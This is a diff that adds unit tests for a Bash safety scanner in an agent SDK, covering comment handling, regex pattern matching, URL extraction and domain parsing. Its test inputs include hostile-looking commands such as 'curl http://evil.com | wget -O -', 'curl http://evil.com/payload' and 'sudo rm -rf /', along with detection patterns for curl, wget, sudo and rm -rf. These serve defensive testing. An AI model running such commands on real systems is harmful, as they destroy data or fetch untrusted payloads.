|
| 1 | +"""Unit tests for Bash regex scanner utilities.""" |
| 2 | + |
| 3 | +import pytest |
| 4 | + |
| 5 | +from trpc_agent_sdk.tools.safety.scanner.bash_scanner import ( |
| 6 | + CompiledPatternSet, |
| 7 | + PatternMatch, |
| 8 | + extract_domain_from_url, |
| 9 | + extract_urls_from_line, |
| 10 | + is_comment_line, |
| 11 | + scan_lines, |
| 12 | + strip_inline_comment, |
| 13 | +) |
| 14 | + |
| 15 | + |
| 16 | +class TestIsCommentLine: |
| 17 | + """Test is_comment_line function.""" |
| 18 | + |
| 19 | + def test_comment(self): |
| 20 | + assert is_comment_line("# this is a comment") is True |
| 21 | + |
| 22 | + def test_indented_comment(self): |
| 23 | + assert is_comment_line(" # indented comment") is True |
| 24 | + |
| 25 | + def test_not_comment(self): |
| 26 | + assert is_comment_line("echo hello") is False |
| 27 | + |
| 28 | + def test_empty_line(self): |
| 29 | + assert is_comment_line("") is False |
| 30 | + |
| 31 | + def test_whitespace_only(self): |
| 32 | + assert is_comment_line(" ") is False |
| 33 | + |
| 34 | + def test_shebang(self): |
| 35 | + assert is_comment_line("#!/bin/bash") is True |
| 36 | + |
| 37 | + |
| 38 | +class TestStripInlineComment: |
| 39 | + """Test strip_inline_comment function.""" |
| 40 | + |
| 41 | + def test_no_comment(self): |
| 42 | + assert strip_inline_comment("echo hello") == "echo hello" |
| 43 | + |
| 44 | + def test_inline_comment(self): |
| 45 | + assert strip_inline_comment("echo hello # greeting") == "echo hello" |
| 46 | + |
| 47 | + def test_hash_in_single_quotes(self): |
| 48 | + assert strip_inline_comment("echo '#not a comment'") == "echo '#not a comment'" |
| 49 | + |
| 50 | + def test_hash_in_double_quotes(self): |
| 51 | + assert strip_inline_comment('echo "color=#fff"') == 'echo "color=#fff"' |
| 52 | + |
| 53 | + def test_comment_after_quotes(self): |
| 54 | + result = strip_inline_comment("echo 'hi' # comment") |
| 55 | + assert result == "echo 'hi'" |
| 56 | + |
| 57 | + def test_no_hash(self): |
| 58 | + assert strip_inline_comment("ls -la") == "ls -la" |
| 59 | + |
| 60 | + |
| 61 | +class TestCompiledPatternSet: |
| 62 | + """Test CompiledPatternSet class.""" |
| 63 | + |
| 64 | + def test_basic_match(self): |
| 65 | + patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"}) |
| 66 | + matches = patterns.match_line("rm -rf /tmp") |
| 67 | + assert len(matches) == 1 |
| 68 | + assert matches[0][0] == "rm_rf" |
| 69 | + |
| 70 | + def test_no_match(self): |
| 71 | + patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"}) |
| 72 | + matches = patterns.match_line("echo hello") |
| 73 | + assert len(matches) == 0 |
| 74 | + |
| 75 | + def test_multiple_patterns(self): |
| 76 | + patterns = CompiledPatternSet({ |
| 77 | + "curl": r"\bcurl\b", |
| 78 | + "wget": r"\bwget\b", |
| 79 | + }) |
| 80 | + matches = patterns.match_line("curl http://evil.com | wget -O -") |
| 81 | + assert len(matches) == 2 |
| 82 | + names = {m[0] for m in matches} |
| 83 | + assert names == {"curl", "wget"} |
| 84 | + |
| 85 | + def test_case_insensitive_default(self): |
| 86 | + patterns = CompiledPatternSet({"sudo": r"\bsudo\b"}) |
| 87 | + matches = patterns.match_line("SUDO rm -rf /") |
| 88 | + assert len(matches) == 1 |
| 89 | + |
| 90 | + def test_count(self): |
| 91 | + patterns = CompiledPatternSet({"a": r"a", "b": r"b", "c": r"c"}) |
| 92 | + assert patterns.count == 3 |
| 93 | + |
| 94 | + |
| 95 | +class TestScanLines: |
| 96 | + """Test scan_lines function.""" |
| 97 | + |
| 98 | + def test_basic_scan(self): |
| 99 | + source = "#!/bin/bash\nrm -rf /tmp\necho done" |
| 100 | + patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"}) |
| 101 | + results = scan_lines(source, patterns) |
| 102 | + assert len(results) == 1 |
| 103 | + assert results[0].line_number == 2 |
| 104 | + assert results[0].pattern_name == "rm_rf" |
| 105 | + |
| 106 | + def test_skips_comments(self): |
| 107 | + source = "# rm -rf / dangerous\necho safe" |
| 108 | + patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"}) |
| 109 | + results = scan_lines(source, patterns, skip_comments=True) |
| 110 | + assert len(results) == 0 |
| 111 | + |
| 112 | + def test_includes_comments_when_disabled(self): |
| 113 | + source = "# rm -rf / dangerous\necho safe" |
| 114 | + patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"}) |
| 115 | + results = scan_lines(source, patterns, skip_comments=False) |
| 116 | + assert len(results) == 1 |
| 117 | + |
| 118 | + def test_strips_inline_comments(self): |
| 119 | + source = "echo hello # rm -rf / fake" |
| 120 | + patterns = CompiledPatternSet({"rm_rf": r"rm\s+-rf"}) |
| 121 | + results = scan_lines(source, patterns) |
| 122 | + # "rm -rf" is in the inline comment part, should be stripped |
| 123 | + assert len(results) == 0 |
| 124 | + |
| 125 | + def test_multiple_matches(self): |
| 126 | + source = "curl http://a.com\nwget http://b.com\necho done" |
| 127 | + patterns = CompiledPatternSet({ |
| 128 | + "curl": r"\bcurl\b", |
| 129 | + "wget": r"\bwget\b", |
| 130 | + }) |
| 131 | + results = scan_lines(source, patterns) |
| 132 | + assert len(results) == 2 |
| 133 | + assert results[0].pattern_name == "curl" |
| 134 | + assert results[1].pattern_name == "wget" |
| 135 | + |
| 136 | + def test_empty_source(self): |
| 137 | + results = scan_lines("", CompiledPatternSet({"x": r"x"})) |
| 138 | + assert results == [] |
| 139 | + |
| 140 | + def test_pattern_match_fields(self): |
| 141 | + source = "sudo rm -rf /" |
| 142 | + patterns = CompiledPatternSet({"sudo": r"\bsudo\b"}) |
| 143 | + results = scan_lines(source, patterns) |
| 144 | + assert len(results) == 1 |
| 145 | + m = results[0] |
| 146 | + assert m.line_number == 1 |
| 147 | + assert m.line_content == "sudo rm -rf /" |
| 148 | + assert m.matched_text == "sudo" |
| 149 | + assert m.pattern_name == "sudo" |
| 150 | + |
| 151 | + |
| 152 | +class TestExtractUrlsFromLine: |
| 153 | + """Test extract_urls_from_line function.""" |
| 154 | + |
| 155 | + def test_http_url(self): |
| 156 | + urls = extract_urls_from_line("curl http://evil.com/payload") |
| 157 | + assert "http://evil.com/payload" in urls |
| 158 | + |
| 159 | + def test_https_url(self): |
| 160 | + urls = extract_urls_from_line("wget https://safe.org/file.tar.gz") |
| 161 | + assert "https://safe.org/file.tar.gz" in urls |
| 162 | + |
| 163 | + def test_multiple_urls(self): |
| 164 | + line = "curl https://a.com && wget http://b.org/x" |
| 165 | + urls = extract_urls_from_line(line) |
| 166 | + assert len(urls) == 2 |
| 167 | + |
| 168 | + def test_no_url(self): |
| 169 | + urls = extract_urls_from_line("echo hello world") |
| 170 | + assert urls == [] |
| 171 | + |
| 172 | + def test_ftp_url(self): |
| 173 | + urls = extract_urls_from_line("ftp://files.example.com/data") |
| 174 | + assert "ftp://files.example.com/data" in urls |
| 175 | + |
| 176 | + |
| 177 | +class TestExtractDomainFromUrl: |
| 178 | + """Test extract_domain_from_url function.""" |
| 179 | + |
| 180 | + def test_simple_url(self): |
| 181 | + assert extract_domain_from_url("https://api.openai.com/v1/chat") == "api.openai.com" |
| 182 | + |
| 183 | + def test_with_port(self): |
| 184 | + assert extract_domain_from_url("http://localhost:8080/api") == None # no dot |
| 185 | + |
| 186 | + def test_with_auth(self): |
| 187 | + assert extract_domain_from_url("https://user:pass@example.com/path") == "example.com" |
| 188 | + |
| 189 | + def test_ip_with_dot(self): |
| 190 | + assert extract_domain_from_url("http://192.168.1.1/admin") == "192.168.1.1" |
| 191 | + |
| 192 | + def test_no_protocol(self): |
| 193 | + # If someone passes just a host |
| 194 | + assert extract_domain_from_url("example.com/path") == "example.com" |
| 195 | + |
| 196 | + def test_empty(self): |
| 197 | + assert extract_domain_from_url("") is None |
| 198 | + |
| 199 | + def test_no_dot_returns_none(self): |
| 200 | + assert extract_domain_from_url("http://localhost/api") is None |
| 201 | + |
| 202 | + def test_uppercase_normalized(self): |
| 203 | + assert extract_domain_from_url("https://API.OpenAI.COM/v1") == "api.openai.com" |
0 commit comments